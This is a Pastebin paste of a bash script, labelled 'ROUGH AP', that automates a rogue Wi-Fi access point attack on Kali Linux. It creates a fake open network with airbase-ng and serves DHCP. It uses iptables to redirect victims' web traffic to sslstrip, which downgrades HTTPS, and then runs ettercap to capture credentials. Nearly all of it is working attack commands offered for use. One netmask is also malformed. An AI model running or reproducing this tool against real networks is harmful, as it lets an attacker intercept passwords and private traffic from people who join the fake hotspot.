Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #coded by atulh4c
- #changing name does not makes you coder
- #automation in kali linux
- #need to install kali linux tools for making it to work in other distros [ubuntu]
- #should be in root mode
- #configure dhcp server
- # 1.apt-get install dhcp3-server
- # 2.nano /etc/dhcpd.conf
- # 3.paste below line in .conf file
- #
- # authoritative;
- # default-lease-time 600;
- # max-lease-time 7200;
- # subnet 192.168.1.0 netmask 255.255.255.0 {
- # option routers 192.168.1.1;
- # option subnet-mask 255.255.255.0;
- # option domain-name "freewifi";
- # option domain-name-servers 192.168.1.1;
- # range 192.168.1.2 192.168.1.40;
- # Colors
- ESC_SEQ="\x1b["
- COL_RESET=$ESC_SEQ"39;49;00m"
- COL_RED=$ESC_SEQ"31;01m"
- COL_GREEN=$ESC_SEQ"32;01m"
- COL_YELLOW=$ESC_SEQ"33;01m"
- COL_BLUE=$ESC_SEQ"34;01m"
- COL_MAGENTA=$ESC_SEQ"35;01m"
- COL_CYAN=$ESC_SEQ"36;01m"
- echo -e " $COL_RED + ================ROUGH AP================+$COL_RESET"
- echo -e " $COL_BLUE + Created by atulh4c +$COL_RESET"
- echo -e " $COL_RED + ========================================+$COL_RESET"
- echo ""
- echo ""
- echo "Need Root privilages"
- echo ""
- echo -e "$COL_YELLOW First you configure your DHCP server $COL_RESET"
- echo ""
- echo -e "$COL_YELLOW keep your interface in monitor mode using airmon-ng start <interface> $COL_RESET "
- echo ""
- echo -e "$COL_RED You may get error in creating airbase"
- echo -e "Kill the process shown while setting interface in monitor mode$COL_RESET"
- echo ""
- echo ""
- echo -e "$COL_BLUE Finding gatewayip address $COL_RESET"
- sleep 3
- echo ""
- route -n
- echo ""
- echo -e "$COL_BLUE Enter the interface for monitor mode $COL_RESET" #user input for monitor mode
- read monitor
- echo -e "$COL_BLUE Enter gateway ip address $COL_RESET"
- read gatewayip
- echo ""
- echo -e "$COL_BLUE Enter Your Internet Source Interface $COL_RESET" #your internet source [eth0/wlan0../usb0/]
- read internetsource
- echo ""
- echo -e "$COL_BLUE Creating airbase $COL_RESET"
- sleep 1
- gnome-terminal -e "airbase-ng -c 11 -e opnewblood $monitor"
- sleep 2
- ifconfig at0 192.168.1.1 netmask 255.255.0
- ifconfig at0 mtu 1400
- route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
- echo 1 > /proc/sys/net/ipv4/ip_forward
- iptables -t nat -A PREROUTING -p udp -j DNAT --to $gatewayip
- iptables -P FORWARD ACCEPT
- iptables --append FORWARD --in-interface at0 -j ACCEPT
- iptables --table nat --append POSTROUTING --out-interface $internetsource -j MASQUERADE
- iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
- dhcpd -cf /etc/dhcpd.conf -pf /var/run/dhcpd.pid at0
- /etc/init.d/isc-dhcp-server start
- sleep 1
- echo -e "$COL_BLUE Starting sslstrip at port 10000 $COL_RESET"
- gnome-terminal -e "sslstrip -f -p -k 10000"
- sleep 1
- echo -e "$COL_BLUE Starting Ettercap $COL_RESET"
- sleep 1
- ettercap -p -u -T -q -i at0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement